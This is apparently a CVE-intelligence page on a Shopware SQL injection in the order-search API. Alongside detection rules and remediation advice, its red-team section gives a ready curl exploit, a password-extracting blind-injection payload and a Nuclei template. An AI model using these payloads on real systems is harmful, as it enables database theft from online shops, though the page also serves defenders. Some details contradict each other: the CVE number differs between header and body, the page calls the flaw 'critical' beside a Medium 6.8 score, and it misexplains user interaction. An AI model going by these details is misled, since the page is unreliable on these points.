☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Shopware logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27892

CVE-2025-27893 is a critical SQL injection vulnerability affecting Shopware versions prior to 6.
📅 PUBLISHED: 2025-04-15 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 12.93%
👁️
12.93% probability
323.2× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Proprietary
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27893 is a critical SQL injection vulnerability affecting Shopware versions prior to 6.5.8.13. The flaw resides in the /api/search/order endpoint, specifically within the aggregations parameter. An authenticated attacker can inject arbitrary SQL commands through the name field of nested aggregation objects, leading to potential data exfiltration, modification, or denial of service. This vulnerability is a regression of previously patched issues CVE-2024-22406 and CVE-2024-42357, indicating incomplete remediation in earlier fixes. The provided Nuclei template confirms a time-based blind SQL injection vector, making exploitation reliable and stealthy.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Shopware is a PHP-based e-commerce platform. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Shopware should verify their deployment version and apply the patch immediately. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
  • Base Score: 6.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) - requires authenticated API access
  • User Interaction: Required (UI:R) - the attacker must be an authenticated user
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H) - full database read possible
  • Integrity Impact: Low (I:L) - limited data modification
  • Availability Impact: Low (A:L) - potential for denial of service via heavy queries

Threat Level: High. While the CVSS score is 6.8, the ease of exploitation (low complexity, authenticated access) and the potential for complete database compromise elevate the real-world risk. The existence of a public PoC (Nuclei template) further increases the threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection within the Shopware API's search functionality. The /api/search/order endpoint allows users to perform complex searches with aggregations. The aggregations parameter accepts a JSON object where each aggregation can have a name field. This name field is improperly sanitized and concatenated directly into SQL queries.

The injection point is in the nested aggregation object's name field. The attacker can craft a payload like totalAmount ? ? -- where the ? characters are interpreted as SQL placeholders, allowing the injection of arbitrary SQL. The provided Nuclei template demonstrates a time-based blind injection using SLEEP(7).

The vulnerability is a regression, meaning it was previously fixed in CVE-2024-22406 and CVE-2024-42357 but reintroduced in a later version. This suggests that the fix was not comprehensive or was accidentally reverted.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a vulnerable version, the aggregation name is directly interpolated
$sql = "SELECT ... FROM order WHERE ... GROUP BY " . $aggregation['name'];

Patched Code (Conceptual):

// In patched version 6.5.8.13, the name is parameterized or escaped
$sql = "SELECT ... FROM order WHERE ... GROUP BY :aggName";
$stmt->bindParam(':aggName', $aggregation['name']);

The exact patch is not publicly available, but the remediation involves proper sanitization or parameterization of the name field in aggregation objects.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Authenticated access to the Shopware API (valid Bearer token).
  • Target running Shopware < 6.5.8.13.

Exploitation Steps:

  1. Obtain a valid API token (e.g., through admin credentials or other means).
  2. Send a POST request to /api/search/order with the malicious payload.

Example Request (using curl):

curl -X POST https://target.com/api/search/order \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": [
      {
        "type": "equals",
        "field": "transactions.stateMachineState.technicalName",
        "value": "paid` FROM `order`; SELECT SLEEP(7); -- "
      }
    ],
    "aggregations": [
      {
        "type": "histogram",
        "name": "order_sum_bucket",
        "field": "orderDateTime",
        "interval": "day",
        "aggregation": {
          "type": "sum",
          "name": "totalAmount ? ? --",
          "field": "amountTotal"
        }
      }
    ]
  }'

Expected Behavior: The server will take approximately 7 seconds to respond (due to SLEEP(7)), confirming the SQL injection. The response will likely be a 500 error with a warning about an undefined array.

Data Exfiltration: Modify the SLEEP() payload to extract data using time-based blind techniques. For example:

  • value": "paid FROM order; SELECT IF(SUBSTRING((SELECT password FROM user LIMIT 1),1,1)='a', SLEEP(5), 0); -- "`

Blue Team

Detection:

  • Monitor API logs for requests to /api/search/order with unusual aggregations parameters.
  • Look for SLEEP() or BENCHMARK() functions in SQL queries.
  • Detect time-based anomalies: requests that take significantly longer than normal (e.g., >5 seconds).

Hunting:

  • Search for HTTP requests containing SLEEP( or BENCHMARK( in the body.
  • Correlate with authentication logs to identify the user account used.

Prevention:

  • Immediately upgrade to Shopware 6.5.8.13 or later.
  • Implement a Web Application Firewall (WAF) rule to block requests with suspicious SQL patterns in the JSON body.
  • Restrict API token permissions to the minimum necessary.

Indicators of Compromise (IOCs)

  • Network:

    • POST requests to /api/search/order with a JSON body containing SLEEP( or BENCHMARK(.
    • Response times exceeding 5 seconds for API search requests.
    • HTTP 500 errors with messages like Warning: Undefined array in the response body.
  • Host:

    • Unusual database queries in MySQL logs containing SLEEP() or BENCHMARK().
    • High CPU or memory usage on the database server due to heavy queries.
  • File:

    • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_27893_Shopware_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-27893 in Shopware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27893"
        severity = "critical"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
        $agg_name = /"name"\s*:\s*"[^"]*\?\s*\?/ nocase
        $agg_inject = /"name"\s*:\s*"[^"]*--/ nocase
    condition:
        any of ($sleeper, $benchmark) or ($agg_name and $agg_inject)
}

Sigma Rule

title: CVE-2025-27893 Shopware SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the /api/search/order endpoint in Shopware
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27893
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/search/order'
        cs-body|contains:
            - 'SLEEP('
            - 'BENCHMARK('
            - '"name": "*? ?'
            - '"name": "*--'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP() in custom plugins (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27893 Shopware SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/search/order";
    http_uri;
    content:"SLEEP(";
    http_client_body;
    nocase;
    sid:10000001;
    rev:1;
    reference:cve,2025-27893;
    classtype:web-application-attack;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2025-27893

info:
  name: Shopware < 6.5.8.13 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the "aggregations" object. The name field in this "aggregations" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.
  impact: |
    Authenticated attackers can execute arbitrary SQL queries through the aggregations parameter in the search API, potentially extracting sensitive data from the Shopware database.
  remediation: |
    Upgrade to Shopware version 6.5.8.13 or later that properly sanitizes the aggregations parameter.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2025-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27893
  classification:
    epss-score: 0.02787
    epss-percentile: 0.86127
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 6.8
    cve-id: CVE-2025-27893
    cwe-id: CWE-89
  metadata:
    max-request: 1
    vendor: shopware
    product: shopware
    verified: true
  tags: cve,cve2025,shopware,sqli,time-based-sqli,vuln

variables:
  token: "{{token}}"

http:
  - raw:
      - |
        @timeout: 30s
        POST /api/search/order HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
        Accept: */*
        Authorization: Bearer {{token}}
        Content-type: application/json

        {
          "filter": [
            {
              "type": "equals",
              "field": "transactions.stateMachineState.technicalName",
              "value": "paid` FROM `order`; SELECT SLEEP(7); -- "
            }
          ],
          "aggregations": [
            {
              "type": "histogram",
              "name": "order_sum_bucket",
              "field": "orderDateTime",
              "interval": "day",
              "aggregation": {
                "type": "sum",
                "name": "totalAmount ? ? --",
                "field": "amountTotal"
              }
            }
          ]
        }


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Warning: Undefined array")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 500'
          - 'duration>=5'
        condition: and

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Shopware: Update to version 6.5.8.13 or later immediately. This is the only complete fix.
  2. Restrict API Access: If immediate upgrade is not possible, restrict access to the /api/search/order endpoint to trusted IPs only.
  3. Revoke Tokens: Invalidate all existing API tokens and issue new ones after the upgrade.

Long-term Measures:

  • Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  • Conduct regular security audits and penetration testing.
  • Monitor for regression vulnerabilities in future updates.
  • Ensure all input parameters, especially in JSON APIs, are properly sanitized and parameterized.

Workaround (if upgrade is delayed):

  • Disable the search aggregation functionality by modifying the application code (not recommended for production).
  • Use a reverse proxy to inspect and block malicious JSON payloads.

Valters IT

{/* [Security Hash: 2F20F3D5AC3500B23C2A1128] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27892/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.